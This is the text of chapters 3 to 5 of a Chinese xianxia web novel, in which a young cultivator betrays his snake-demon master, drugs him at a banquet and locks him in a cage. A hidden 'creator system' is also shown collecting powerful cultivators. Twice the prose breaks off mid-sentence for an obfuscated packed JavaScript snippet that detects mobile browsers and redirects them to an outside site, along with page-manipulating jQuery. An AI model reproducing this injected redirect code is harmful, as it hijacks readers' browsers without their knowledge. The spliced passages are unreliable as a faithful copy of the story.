《年少不知仙尊好》 3. 庆功宴 沈风麟于月华小世界,以九重紫天雷劫破丹结婴。 此消息一出,寰宇皆惊。 十八岁能达到炼气九重,在诸多小世界便已称得上人中龙凤,像沈风麟这般未及弱冠便破丹结婴者,哪怕是在诸天中世界,也称得上千年难遇的奇才。 此等天赋让无数仙门为之侧目,当这位崭新出关的元婴老祖宣布要举办结婴大典时,诸多势力云集响应,恨不得立刻派人将贺礼献上。 而沈风麟本人,似乎也有意考验这些势力的诚心,自消息放出至结婴大典举办,他仅给了受邀者十日的时间准备贺礼,倒是和一些人迫不及待想要献媚的心思不谋而合。 十日后,月华小世界,沧澜仙阁。 沧澜仙阁由剑气所化,悬于瀛洲之上,诸多修士汇聚于此,灵气浩瀚,贺礼如流水般鱼贯而入。 结婴大典上负责迎宾的,是沈风麟座下一位名叫流明的水灵根剑修。 那剑修境界不过筑基大圆满,可面对诸多品阶高于自己的来客,他却不卑不亢,对于那些珍稀昂贵的贺礼,他没有展现出丝毫艳羡之情,泰然处之的姿态,引得不少来客暗暗称奇。 碧月宗来使于礼台处献过贺礼,见流明反应平平,便下意识认为这人见识不足,心下难免生出几分轻蔑。 ——什么风麟老祖,一个十八岁的毛孩子而已,能把这种三百岁才筑基的废物派来迎宾,他本人又能是什么天才? 来使心下嘲弄,张嘴便想卖弄,流明却笑着率先开口道:“碧月宗来使,献惊云碧波阵一套,八宝明月珰一对,五千年九彩望月莲三株,贵宗有心了,晚辈替我家老祖谢过柳宗主。” ……一个小小的筑基修士竟能认出所有贺礼,甚至还能随口说出九彩望月莲的年份! 来使一怔,周围人闻言更是大惊,随即对沈风麟肃然起敬。 他身边一个名不见经传的筑基期修士尚有如此能耐,那位年仅十八的风麟老祖又当如何? 见众来客纷纷肃然,流明面上依旧得体,心下却升起了一阵不屑。 看看这群金丹真人没见识的模样,区区五千年望月莲便值得他们做出如此姿态,当真让人发笑——昔日白玉京随手一掷的东西,也比这些货色要强上百倍。 想到这里,流明笑意一顿,心下骤然泛起了一丝微妙而阴暗的情绪。 是啊,那个不过金丹修为的废物美人随手一扔的东西,却要让他们笑脸恭迎,甚至让沈风麟本人亲自俯首去接…… 何其耻辱。 想到自己敬重之人为了白玉京指缝中漏出的东西,不惜低声下气、做小伏地,流明便难以遏制地怒火中烧。 那个废物空有一张美貌皮囊,手里天才地宝、秘法残卷不计其数,他本人却对人族的修行之法一窍不通,这么多年来未曾给过沈风麟丝毫修行上的指点,只知道扔一些他自己不用的货色给风麟。 ……这样的人简直枉称师尊! 他手中那些资源若直接给到沈风麟,风麟和他们这些座下的追随者,绝对不会仅是今日之修为! 想到这里,流明胸中郁结之气更甚,险些维持不住面上得体的笑容。 他今年三百岁整,天生单水灵根,却堪堪筑基大圆满,对于以实力冠绝诸道的剑修来说,他的境界可以说是同天赋之下的末品。 但同为人族,人和人的命运也是不一样的。 流明强笑送进一位来宾,转头蓦然变了神色,带着阴郁之气看向身后气势恢宏的沧澜阁。 传闻此仙阁乃沧澜剑尊未登人皇时,游历于此留下的一道剑意所化。 流明清楚地记得,一百年前,自己正在九幽与鬼修厮杀时,那初登大宝的女帝,正在浮屠大世界宴请诸天大能,举办她的二百岁寿宴。 寿宴之上,素来不睦的妖皇与仙尊暂时和解,同时替她作宰,一时万仙来朝,众生贺岁,好不尊贵。 如今算起来,那女人今年刚好也是三百岁整。 想到这里,流明心下的郁结之气几乎凝成实质。 ……同为人族,同为单水灵根剑修,他和那女人之间唯一的区别,不过是那娘们命好罢了! 任谁不足百岁便被妖皇捡去,又有仙尊指点,恐怕都能在天材地宝的堆砌下,轻而易举地登临人皇之位! 而他却没那么好的命,只能和芸芸众生一样,倒霉地在泥淖中打转,硬是在筑基期的寿元即将终了之际,才见到自己命中的贵人。 不过好在一切为时未晚,而流明也并不怨恨沈风麟来得迟。 他自诩知恩图报且光明磊落,对追随之人从无怨言,但同时亦能做到不以境界高低谄媚于人。 男儿膝下有黄金,他绝不可能像“人皇”那般不堪。 ——谁知道那女人到底是妖皇的养女,还是那老长虫的禁脔呢? 一条渡劫期的蛇妖,活了恐怕有上万年,却莫名其妙地捡回一人族皇女作养女,甚至每日悉心照料……呵,果然蛇性本淫,这等□□之物哪怕到了渡劫期也是如此,看来天底下的蛇妖都一样。 不过,说到蛇性本淫…… 漫不经心地送进最后一位宾客,流明抬眸遥遥地望进大典正殿,眼底终于染上了一丝真正的笑意。 ——好戏即将开幕,待那漂亮废物现出原形后,他也会展现出□□的本性吗? * 大典之上,仙音袅袅,盛友如云。 万道剑意汇聚而成的星河中央,一身着彩袍的金丹乐修抚琴献舞。 苏九韶代表苏家高坐宾客席首位,眼下却没什么欣赏的心思,反而忍不住看向坐在最末位的那个人。 ——往日沈风麟向来不愿向外人透露白玉京的身份,今日他怎么舍得让对方现身于此了? 苏九韶心底泛起了一股不祥的预感,混杂着那点微弱的愧疚,让她忍不住蹙了蹙眉。 大典之上打量白玉京的显然不止她一人,不少修士频频对这位绝色美人侧目,见他虽是金丹修为,却仅落座于末位,便只当他是没有师门的散修,或因与风麟老祖有旧,方得入内殿。 思及此,一些人心下不免生了几分别样且微妙的心思。 “……” 苍蝇一样的恶心神识萦绕在周身,白玉京端着酒杯的动作一顿,最终淡淡地抿了一口酒,为了爱徒的面子,难得没有发作。 沈风麟面上笑意不减,就像没看到一样,并未制止这些打量,他甚至主动向一些贵客介绍着自己座下之人,却唯独略过了白玉京。 眼下的大典就像是一场精心编织了良久的处刑,沈风麟迫不及待地体验着实力倒错的快意,享受着居高临下的感觉。 可那位看似精明的美人,此刻却对正在发生的龌龊一无所知。 苏九韶抿了抿唇,收回放在白玉京身上的视线,扭头看向那个正坐高台的少年天才。 长明宗宗主已降下旨意,命令他们尽快筹备献妖大典,如此一来,沈风麟索要的内门弟子之位几乎是板上钉钉了。 而根据沈风麟先前承诺,苏九韶作为此事最大的“功臣”,亦可扶摇直上,不必再继续局限于这囹圄之境了。 可……苏九韶不知为何,并没有那么高兴。 修真界强者为尊,她一路走来鸩兄弑父,自诩也不是什么好人。 但她却在此刻最不应该手软的时候,非常不合时宜地想起了自己那个貌美柔弱,一生都把心系在丈夫与儿女身上的母亲。 那可怜的小美人蛇,就和她母亲年轻时一样眼瞎目盲。 他倾尽所有,十载如一日地恩育爱徒,恨不得将骨血化作甘露,溺爱般哺育着幼徒,却不知对方狼子野心。 如今境界倒错,等待他的只有剥鳞剜心,沦为禁脔的下场…… 苏九韶终于下定决心般闭上双眼,不忍再向末席投去一眼。 宴会上继续歌舞升平,白玉京对别人的怜悯一无所知。 他只是端着酒杯,在繁杂低俗的神识中蹙着眉,不耐地喝着酒。 都说借酒消愁愁更愁,可几杯酒下肚,白玉京心头那些厌恶与烦闷倒真奇迹般的消退了几分。 恰在此刻,不知道是酒意产生的幻觉,还是沧澜仙阁终于透过伪装认出了他,熟悉的剑意从四面八方袭来,亲昵地萦绕在他身旁。 那如水一般的剑意久久不愿离去,如雏鸟般依偎在他身边,引得白玉京心下柔软作一片,忍不住想起了自己曾经在大世界时,一边养着小皇女,一边被万妖众星捧月的日子。 抛却某个不请自来,总是对他养孩子一事指指点点的王八蛋不说,那着实是一段春风得意的日子。 只可惜好景不长,很快便…… 白玉京抿了口冷酒,看着远处翩翩起舞的女修,脑海中却忍不住回忆起百年前的旧事。 那时青羽刚刚跻身渡劫,几乎是同一年,所有渡劫大能都在冥冥之中感受到了一股莫名的恐惧—— 不能飞升…… 不能飞升……! 不能飞升……!! 那个诡异的念头萦绕在所有渡劫修士脑海中久久不去,宛如巫咒一般折磨得众人几近癫狂。 为此,凰族圣女渡劫大圆满,不惜涅槃化卵;大修罗王半步飞升,宁愿抽刀断角。 人、妖、修罗、鬼、灵、巫,六族大能各显神通,相继“陨落”。 最终,十八位渡劫仅余三人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708701|189216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分别是妖皇白玉京、人皇宋青羽还有……某个以灵族之身,获仙尊之号的王八蛋。 再然后,妖皇与仙尊战于穹野,他们二人本就势均力敌,往日之争素来难分敌手,可那一次穹野之战,妖皇却在众目睽睽之下“惨遭”仙尊暗算,最终陨落于宿敌之手。 此事一出,诸天震荡,千界哗然。 玄天仙尊原本狠戾肃杀、正到发邪的形象,经此一役后出现了些许微妙的裂痕。 想到这里,白玉京忍不住勾起嘴角,愉悦地抿了一口酒。 战到一半遁逃本不是他的本意,但谁曾想酣战之际,他却突然感受到了恩公转世的气息。 白玉京早就察觉出飞升一事存在吊诡之处,本就计划找时机隐去修为,一探究竟,没想到诸事恰好撞于一处……便只能怪某人倒霉了。 不过,临跑路之前毁一毁某位仙尊道貌岸然的名声,也算是这汪洋苦海中难得的趣事。 白玉京嘴角笑意渐浓,引得沈风麟都忍不住看了他几眼。 不过很快,凝重的旧事便再次于他心头弥漫,冲散酒意的同时,连带着将他嘴角的笑意也冲淡了几分。 百年之前,几乎是那个念头产生的同时,白玉京隐约察觉到,天幕之上仿佛有一张黑压压的大网,压得人胸口生闷,似乎一旦飞升,便是自投罗网,万劫不复。 他曾和其他渡劫修士讨论过此事,然而询问一圈的最终结果却是,似乎只有他能感受到那张莫名的“网”。 不同于狡诈诡谲的狐族和那些天生□□的花花草草,白玉京作为一条蛇,向来不大喜欢动脑子,比起那些精打细算得出的结论,他更相信自己的直觉。 而他的直觉告诉他,飞升的答案不在云端,在尘世。 所以他收敛锋芒,敛入尘埃,只可惜一切都事与愿违。 沉闷的回忆随着终了的曲目没入尾声,而后仙光明彻,盛宴开席。 喧闹非凡之下,从回忆中抽身的白玉京却有些说不出的意兴阑珊,他打了个哈欠,再一次百无聊赖地垂眸看向酒液。 这十年来,就飞升一事而言,他堪称一无所获。 他既不知道那张莫名其妙的网是否真正存在,也不知道众多渡劫修士心头莫名产生的那个念头到底从何而起。 所以他敛去修为本质上不过是闭目塞听,企图窥探的端倪更是纹丝未见。 正当自负一世的白玉京难得为这十年的挫败而磨牙时,不知是巧合还是他的错觉,大殿内分明平静无风,可他的酒杯中却泛起了一点微妙的,如乳燕投林般的涟漪。 “……” 白玉京动作一顿,蹙眉感受着周围的灵力波动。 错觉? ……不对,不是错觉! 白玉京蓦然冷下神色,猛地抬眸看向周围。 几乎就在这一瞬间,沧澜仙阁周遭笼罩的剑意变了。 原本如潮汐般萦绕在白玉京身旁的沧澜剑意顷刻之间荡然无存,仙阁周围只剩下冰冷的,毫无生机的肃杀之气。 仿佛先前的一切眷恋与不舍,都只是在和他告别,而如今,剑意的主人终于离开了。 哪怕掩去了渡劫修为,但仅靠这一点细节,白玉京还是瞬间意识到——宋青羽飞升了。 他甚至来不及为自己亲手养大的孩子担忧,因为随着人皇飞升,天地之间,有什么东西彻底暗了下去。 那张晦暗不明的黑网在吞噬了最后一口血肉后,仿佛终于补全了最后一丝缺口,彻底遮住了天幕。 黑暗如潮水般席卷了整个世界,将最后一抹走投无路的亮光逼到了这最终一角。 危险如影随形,逃无可逃之下,那点亮光一头扎进白玉京的酒杯中,幻化作一汪涟漪。 白玉京若有所感地垂眸,蹙眉凝望着酒面。 仙阁内的所有人都沉浸在回味中,仿佛一切只是白玉京自己的幻觉。 【喝……下……】 【喝…下去……】 【喝下去】 什么声音? 【求求你了,求求你了……来不及了,救救我!】 ……小孩子? 颤抖中话都说不明白的稚童声在白玉京脑海中凭空响起,若是往日的他,便是再大条也该意识到事情不对劲了。 可眼下,他却好似被梦魇包裹住一般,满脑子只剩下了被喧嚷的烦闷,和面对幼童时下意识的救扶之心。 【救……】 ……行了,别念了,吵死了! 白玉京不耐烦地端起酒杯,仰头一饮而尽。 天地之间的最后一缕金光,顺着酒液滑进了他的腹中。 而后,世界清净了。 4.化蛇 白玉京在行事全凭直觉的天性上吃了许多苦头。 有人曾嘲讽他“江山易改,本性难移”,当时白玉京气得火冒三丈,趁着那人在灵泉中修炼,化出蛇身一口咬在对方的本体上,虽然被硌得下巴疼了半个月,但好歹在那臭石头的表面留下了一道不浅的咬痕,算是勉强解了心头之恨。 可眼下,白玉京本人却难得对那句话升起了几分赞同。 ——他以后做事确实该多动动脑子。 咽下酒的一瞬间,白玉京便骤然清醒过来,立刻升起了几分悔意,可惜为时已晚。 滚烫的酒液灼烧过喉咙,顺着食管一路向下,最终在腹中仿佛点燃了一把火。 ……这酒不对劲。 白玉京当即放下酒杯扶上额头,腹中刹那间翻江倒海。 方才那股梦魇般的错乱感并未随之消退,反而随着酒液的淌入愈演愈烈。 周遭恰在此刻泛起了一些喧哗之音:“……天!” 原本加诸于白玉京的神识纷纷收回,外阁的宾客中响起了不绝于耳的抽气声,似是在惊叹沈风麟的财大气粗。 恍惚之中,白玉京看到沈风麟从储物戒内拿出了事先从他那里讨来的灵器,于众目睽睽之下,作为本次大典的重头戏,依次分发给座下之人,以彰显自己的宽厚与富饶。 “莲音真人望清荷,赐古琴鸣泉。” “炎遄真人杜惊春,赐古刀苍梧。” “……段皑……《冬雷诀》……” “……” 众人皆喜出望外,接过奖赏时道谢的声音中都透着几分颤抖,可到了白玉京时,沈风麟却再一次将他跳了过去。 来宾们见状不约而同的一顿,随即打量的目光中又染上了几分异样。 白玉京置身光怪陆离之中,腹中的灼热感让他根本顾不得其他。 就这样又过了几个人,直到压轴之人登场时,白玉京隐约听到了几个字:“流明……玉蛇佩……” ……什么? 白玉京忍着巨大的眩晕蓦然抬眸,不可思议地看向流明接过的那枚,用红绳编坠的小蛇玉佩。 那分明是他的—— 记忆如潮水般涌上心头,淹得他胸口生疼,几乎喘上不气。 【哇,好漂亮的玉佩,这个小蛇长得和卿卿好像啊……恩公,这是送给我的吗?】 【嗯,是你的了。】 【谢谢恩公!】 【戴上之后,不管你到哪里,我都能找到你,所以,不要乱跑。】 【嗯?可是恩公只需要低头就能找到卿卿了啊?】 【……不要乱撒娇。】 ……骗子。 他戴了那玉坠八百年,期盼着什么人如约找到他,可惜事与愿违。 八百年一晃而过,直到不久之前—— “师尊,大典上还有一物相求……不是什么贵重的东西啦,徒儿只是想求您那枚玉佩……哎哎,别打别打!听徒儿说完嘛——” “也不知前前前世的我到底穷成什么样,竟能把这样一块品色不佳的石头孝敬给师尊,如今徒儿既已经在您面前了,师尊何必还留着这破石头当念想呢?” “不如还给我吧,待来日,徒儿再孝敬您一块极品天山玉。” 所以,把玉佩要回去的目的,就是转手送给他人吗? 胃中的翻江倒海之感突然前所未有的浓重起来。 苏九韶作为最后一人,在众人艳羡的目光下,起身接过了一壶极品养心丹和一把九宝琉璃扇。 可她心中没有丝毫喜悦,反而称得上波澜不惊。 她心知肚明这些灵器到底来源于谁之手,更深知自己所拥有的一切并非源自偏爱,而是源自奖励、夸耀与暗示——奖励她做了背叛者的同党,夸耀她事情办得妥帖,暗示她……已经无法回头了。 她收好东西,忍不住再一次看向了白玉京,却见对方抿着嘴唇微微蹙眉,面色发白,整个人似乎有些说不出的痛苦。 ……是因为那天掰掉的鳞片吗? 她感觉自己虚伪至极,却还是控制不住自己的本能。愧疚与背叛的苦果渗出,煎熬着她并不算多么光明磊落的心脏。 “苏姐姐在看什么?” “……!” 神识凝成的话语在耳边炸开,吓得苏九韶猛然收回视线,愕然看向沈风麟。 高台之上的少年笑容得体,眸色却深不见底。 ——你在看谁的东西? 苏九韶一瞬间汗毛倒立,既为眼前人的恐吓,亦为身后众人哄抢灵器的丑相。 她好似看到了不久的将来,可怜的幼蛇在玉盘中被一片片剥去鳞片的模样。 他们秃鹫一般蚕食着那人的骨血,待到杯盘狼藉,再低头嘲笑他的羸弱。 而她苏九韶,道貌岸然地流着眼泪,实际上和那些人没有什么两样。 “这一路辛苦你了,苏道友。”什么人在她耳边笑道。 苏九韶僵硬回头,看见那个名叫流明的剑修正笑着向她敬酒。 他的手腕上挂着新得来的蛇形玉佩,绳结鲜艳得像血,红得刺眼。 苏九韶扯出了一个艰难的笑容:“多谢道友抬举,苏某今日身体抱恙,待来日——” “来日?”流明笑盈盈道,“苏道友怕是醉了,今日可是风麟老祖的结婴大典,何谈来日?” “……” 苏九韶扭头看向高台,对上了沈风麟毫无异样的目光。 她生锈一般的大脑终于开始转动,她蓦然意识到,这是沈风麟给自己的下马威。 或许这就是她的报应吧。 然而,当苏九韶深吸了一口气,忍着巨大的反胃打算接过那枚酒杯时,众人耳边却炸开了一道清亮凌厉的声音:“……她说她不想喝,你耳朵聋吗,流明?” 苏九韶一怔,闻声回眸,却见白玉京蹙眉支着额头,似是忍着头痛,略带薄怒看向这边。 因痛苦而鲜亮的眸色,于酒意中浸泡出惊人的艳丽,将本就秾艳的容貌衬得如大雨滂沱下的牡丹,稀世的娇艳下,又凭空生了几分能让人唾手可得的错觉。 空气出现了一瞬间的凝滞,似是没人想到他会为苏九韶出头。 挨骂的流明率先回过神,他面上并不恼,只是笑着摸了一下手腕上的红绳:“白前辈教训得是,晚辈——” 他话尚未说完,沈风麟缓缓抬起了手,示意他闭嘴。 而后,这位大典之上的唯一主角,竟在众目睽睽下起身,走到两人面前,从流明手中接过了苏九韶还未来得及触碰的酒杯。 “——!” 沈风麟看了苏九韶一眼,将她的惊愕、惶恐和不忍尽收眼底。 他笑了一下,那个笑似是在告诉苏九韶——那人接下来即将遭受的一切,都是因为你的不识抬举。 沈风麟收回目光,并无任何多余的动作,只是端着那杯酒走到白玉京面前,顶着数百宾客或惊愕或探究的目光,俯身笑盈盈道:“既然前辈开了口,不如就由前辈……替苏姐姐喝了这杯吧。” 他知道白玉京素来不喜欢被人强迫,因此还准备了一些额外的说辞,可今日的白玉京似乎格外不耐烦,闻言只是蹙眉看了他一眼,便端起酒杯一饮而尽,一副半个字都不愿和他多言的模样。 沈风麟呼吸微滞,眸底的暗色一晃而过。 但他并未就此离去,依旧站在白玉京面前。 原本为灵器欢呼的追随者们,这刹那竟不约而同地安静下来,纷纷看向这边。 他们就像是统一的傀儡,在等待既定的戏剧开幕一般安静,气氛诡异得让苏九韶心头发颤。 玉质的小蛇坠离开了它原本的主人,在流明的手腕下轻轻摇晃,一、二…… 三下过后,磅礴的妖气猛然在仙阁中荡开,华丽的白色蛇尾如婀娜的裙摆般洒出,登时铺满了整个宫殿! 仙阁内外瞬间鸦雀无声。 冰凉,柔软且丰腴的蛇腹,将沈风麟牢牢压在下面。 在满堂宾客震惊无比的注视下,他按着蛇腹缓缓起身,眉眼间毫无恐惧之情,反而温柔地抱起了那条白腻柔软的幼蛇。 他低头轻轻贴在蛇鳞之上,姿态亲昵得诡异 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16711458|189216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,好似他不是抱着一条漂亮但危险的白蛇,而是抱着他的远大前程。 捧着他的璀璨美梦。 “是你的错呀,师尊……”他轻声抱怨道,“我原本不想让你这么不体面的,为什么要惹我生气呢?” ……谁在说话?风麟? 白玉京头痛欲裂,腹中滚烫得吓人,仿佛有两股截然相反的力量在他的腹中打架,绞得他恨不得就此昏死。 他已经很久没有用原身示人了,蛇的体温本来就低,眼下被热意折磨的痛楚更是难熬至极,好似妖丹都要被那股热意给烤化了。 “是你的错……师……我原本……” 本座的错?沈风麟在说什么? 这小子打算骑到自己头上了?! 白玉京没听清那句话的全貌,却并不妨碍他怒从心头起:“……混账!” 沈风麟一怔,病态的情绪一扫而空,眼底蓦然闪过了一丝慌乱。 ——怎么可能,喝下那杯酒后他为什么还能动用神识? 不过很快,沈风麟便从白蛇涣散的瞳孔中,看出了白玉京的色厉内荏,他连忙压下心头的恐慌,声音沙哑地安抚道:“……师尊喝醉了怎么还耍酒疯呢?” 说着,他把一枚暗红色的“醒酒丸”递到白蛇嘴边:“好了,徒儿不怪你,吃了醒酒丸好好睡一觉吧,乖。” 那枚诡异的药丸入口即化,塞进口中甚至不用吞咽,便立刻起了药效。 白玉京眼前的世界逐渐黯淡下去,愈发浓重的醉意与困意浮上脑海。 哦,我喝醉了,他轻轻地想到,那方才应该是听错了吧。 至于显出原形……风麟见多了就习惯了,没什么大不了的。 还记得青羽当年第一次见到他原身时,堂堂皇女被吓得钻到床下面,但后来很快便能泰然处之了。 ……所以,没什么大不了的。 那药丸似乎能融化一切不安、焦虑和恐惧,只留下最甘甜的美梦。 三千界中,没有任何一种丹药能从根本上瓦解一个渡劫大能的意志——这本不该是这个世界应该存在的东西。 雪白的蛇尾因为醉意变得柔软光滑,迤逦洁白,连鳞片都温顺地收了起来。 白玉京脑海中那股雾蒙蒙的感觉又重了几分,但他肚子中的那股热意却好似一道屏障,死死地向下拽着他的最后一丝清明。 世界开始变得光怪陆离,他好似回到了幼年时最温暖的地方,然而他想睡却睡不过去,只能在翻江倒海的眩晕感中被迫睁开眼。 在漫天的重影中,白玉京看到沈风麟身旁漂浮着一抹幽蓝色的光芒。 ……? 白玉京极力想要看清楚,眼前的景象却越来越模糊,只留下那抹幽蓝色的光芒,像是萤火一般在黑夜中空悬。 他看到沈风麟抱着他微微侧过头,“看”向了身旁那抹幽蓝色的怪异物体。 有一道空灵且冰冷的声音从那道幽幕上发出,穿过怪异的梦境,在白玉京耳边响起。 【滴——】 【人族修士“宋青羽”收集完毕,渡劫期修士收集进度8/9,已收集种族:人族、妖族、鬼族、修罗族、巫族。】 【待收集种族:灵族。为了“新世界”构建,请宿主继续努力。】 【“造物主”系统升级至三级,同阶世界隔离功能已启动,解锁成就“桃花源”,开放权柄“复制”,下一等级即将开放权柄:“召唤”,请宿主继续……】 ……什么玩意? 这已经是白玉京今日听到的第二道诡异声音了,但哪怕是在这种状态下他也能确信,眼下这道声音和刚刚哀求他的稚童声并不一致。 白玉京头痛欲裂,挣扎着想要听得更清楚一些。 突然,一道无比刺耳的轰鸣声在他耳边骤然炸开。 【警报!警报!】 【监测到仙界有不明视线投下,已率先启动高阶世界隔离……】 【警报!有不明仙种从仙界裂缝投下,疑似仙界观测者投放!】 【紧急任务:寻找仙界遗种,尽快抹杀!】 5.笼中 除了那些善思多智的花草,其他妖族其实很少做梦。 自上一场梦后三百年,白玉京难得又入了梦,只可惜这次的梦并不长,也称不上是什么美梦。 在梦中,他变回了幼蛇,被他心心念念的恩公揣在怀里。 那是一条下山的路,夜晚的明月皎洁得像流水,照得小蛇格外白皙可爱。 它胸前挂着和自己如出一辙的玉雕小蛇,织法繁密的红绳将玉佩牢牢地挂在它的脖子上。 整条小蛇俨然一副被溺爱到极致的模样。 所以它晃着脑袋,有恃无恐地圈着那人的手腕,对即将来临的前路一无所知。 又走了不知道多久,它似乎终于察觉出了些许异样,于是仰起头看向那张空无一物的脸庞。 【恩公,我们去哪?】 【下山。】 【为什么要下山?】 没有回答。 微妙的不安在心尖处荡开,小蛇停住了摇晃的脑袋,有些无意识地叼住了自己的尾尖。 很快,不详的预感便应验了。 长长的山路终于走到了尽头。 前方阳光灿灿,一片明媚,身后的山谷却依旧是永恒的黑夜。 它被“人”放在了晨昏交界的地方,宛如美梦与噩梦交织。 ……! 一股巨大的慌张瞬间如潮水般淹没了它。 仅有两根手指那么粗的小蛇拼命地想要转身,回到那人的怀抱,却看到那人低下头,“说”—— 【卿卿,你自由了。】 ——他不要我了。 梦应声而碎,幼年的恐惧托举着白玉京从惶恐中惊醒。 在寒凉的黑夜中,他率先看到了几根柱子,而后看到了柱子后的一双眼睛。 他尚未从那股巨大的被抛弃的悲泣中缓过神来,整条蛇显得有些呆滞。 他不仅没在第一时间意识到自己面前的那几根柱子是什么,更没认出那双眼睛属于谁。 苏九韶看着仿佛被打击到极致的小蛇,一时间愧疚得声音都在颤抖:“对不起,前辈,对不起……” 寒夜之中,女性明亮的双眸和记忆中的某双眼睛发生了些许重合,不过记忆中的姑娘却从未像眼前这般哭泣。 ……青羽! 他亲手养大的孩子! 白玉京彻底从噩梦中惊醒,瞬间回想起了临昏迷之前听到的一切。 【收集】、【等级】…… 那些数不清的古怪字眼之中,夹杂着一个熟悉到让他心头发颤的名字。 【人族修士“宋青羽”收集完毕,渡劫期修士收集进度……】 那恶心的声音怎么敢用“收集”这种评判物件的字眼和青羽联系在一起?! 怒火与困惑灼烧着白玉京的思绪,他本就不善思考,接连到来的怪事几乎要把他的脑袋给撑爆了。 血气上涌间,白玉京下意识在黑夜中甩了一下头,却刚好看到一大片白腻的蛇鳞在月色下熠熠生辉。 “……” 小蛇一僵,紧跟着总算想起来了比那道诡异声音更早的事情。 他喝了沈风麟递来的酒,在众目睽睽下变回了原型,然后…… 白玉京缓缓抬眸,似是终于意识到了面前的柱子是什么。 ——那是一个金色的笼子。 看着笼中突然凝滞,好似终于意识到一切的白蛇,苏九韶心下一颤。 她抿着唇看了白玉京片刻,随即闭上眼深吸了一口气,像是下定了什么决心。 而后她蓦然睁眼,黄金笼周围的灵气出现了微妙的变化——苏家天赋玲珑心,上可窥天机,下可蔽人目。 不过以苏九韶的筑基修为,哪怕拼尽全力,屏蔽时间也撑不了太久。 ……来不及了。 苏九韶一咬牙,抬手触碰到金笼的一瞬间,上面镌刻的符咒骤然在她指尖炸开,一下子将她的手指烧出了焦色! “……!” 白玉京骤然回神,震惊地看向苏九韶。 那姑娘忍着痛颤声道:“前辈,您不该帮我喝那杯酒的……” “您也不必为我这样的人难过,快些跑吧。” ……什么意思? 禁咒攀上了她的小臂,苏九韶忍着剧痛和僵在原地的小蛇道:“沈风麟看穿了您的伪装,将您交给他的第二枚蛇鳞上递给了长明宗……他要拿您的妖丹与蛇鳞,去换长明宗的内门弟子之位。” ……哦,原来是沈风麟将他关在了这里。 听闻此言,白玉京一瞬间什么都明白了。 他亲手养大的孩子,他寻了三世才找到的小恩公,亲手把他的鳞片交了出去—— 只为求一个远大前程。 原来噩梦不是假的,那人再一次将他推了出去。 不过他该感谢这一次的命运吗?至少这一次,让他得知了缘由,而非像第一次那样,连被人抛弃的理由都不清不楚,不明不白。 苏九韶看着小蛇翘着雪白的尾尖僵在笼内,看起来又呆又漂亮,和人形时的矜高傲慢截然不同。 所以那些高傲与冷淡都是他装出来的保护色吗? 没等她想明白,白蛇突然晃了晃尾尖,苏九韶手臂上的疼痛一下子灰飞烟灭,因禁咒而变得快要面目全非的指尖瞬间便恢复如初了。 她一怔,下一刻却见白玉京又一言不发地将自己蜷缩了起来,完全没有和她一起离开的意思。 苏九韶当场急道:“前辈,不止长明宗宗主一人觊觎您的妖丹,我听闻……听闻大世界的仙尊或将亲临,您还是快些逃跑吧!” 白玉京恹恹的,闻言下意识便把仙尊二字和长明宗联系在了一起。 长明宗哪来的什么狗屁仙尊,烬瑜那个手软心慈的墙头草,手下几个带尊的长老加一块都不够给某人提鞋的。 都说屋漏偏逢连夜雨,白玉京如今这么倒霉,却偏偏因为苏九韶的一句话,想起了某个许久未见的晦气东西。 而有些倒霉事就像藏在回忆里的珠子,偶然捡起一根线,便能连缀成串,想停下都做不到。 ——“一条分不清善恶与好坏的蠢蛇,哪天修为尽失被人关到笼子里记得通知本尊,定去赎你。” ——“若是捡白眼狼算是一种天赋,那你恐怕已经登峰造极了,妖皇陛下。” ——“凡人总说狗咬吕洞宾,但依本尊看,和妖皇陛下相比,那狗倒还不算太蠢。” “……” 苏九韶看着白玉京不知道想起了什么,面色越来越差,整条蛇看起来就要爆炸了。 她压根不知道这蛇其实是在担心自己在宿敌心中的颜面,还以为对方正在因爱徒的背叛而难过,一时间不忍到了极致。 她显然还是没想明白白玉京为何不跑,整个人看起来比这条当事蛇还焦灼。 然而,正当她心急如焚地打算再劝些什么时,一团微光在她怀中炸开。 苏九韶面色骤变,感觉到原本仅有五重的玲珑心突然被临时提升到了七重,整个人一下子隐于夜色之中,但相应的,她加在笼上的灵力也被那股力量推了回去。 ——这绝对不是金丹该有的修为,这条幼蛇到底是什么来历? 没等她想明白,远处传来了一道熟悉的气息。 而后白玉京一甩尾,苏九韶就这么在夜色中消失得无影无踪。 蛇尾卷起笼门轻轻一关,禁咒与笼皆恢复如初。 她愕然地站在一旁,眼睁睁看着沈风麟逆着光走了过来。 那自以为胜券在握的少年,并未察觉到苏九韶就站在一旁。 “师尊。”沈风麟走到笼前半蹲下来,像是在和爱人耳鬓厮磨般轻声道,“睡得香吗?” 白玉京不语,只是抬眸,以一种前所未有的角度看向沈风麟,打量着他亲手养大的徒弟。 这一次他没有再看到那抹诡异的幽蓝色光芒,更没有再听到那抹声音。 一切都好似只是一场幻觉。 沈风麟探手进去,想去摸那处掰去鳞片,尚未愈合的伤口,却被蛇尾一下子抽在了手背上。 眼底蓦然泛起了股病态的情绪:“……师尊还在生我的气吗?” 没有回答。 白玉京冷淡地收回目光。 他已经不是幼蛇了,错误犯两次就够了,没必要再犯第三次。 见白玉京不愿搭理自己,沈风麟眼底的凶狠一闪而过,随即笑盈盈道:“其实我早就知道师尊是妖了。” 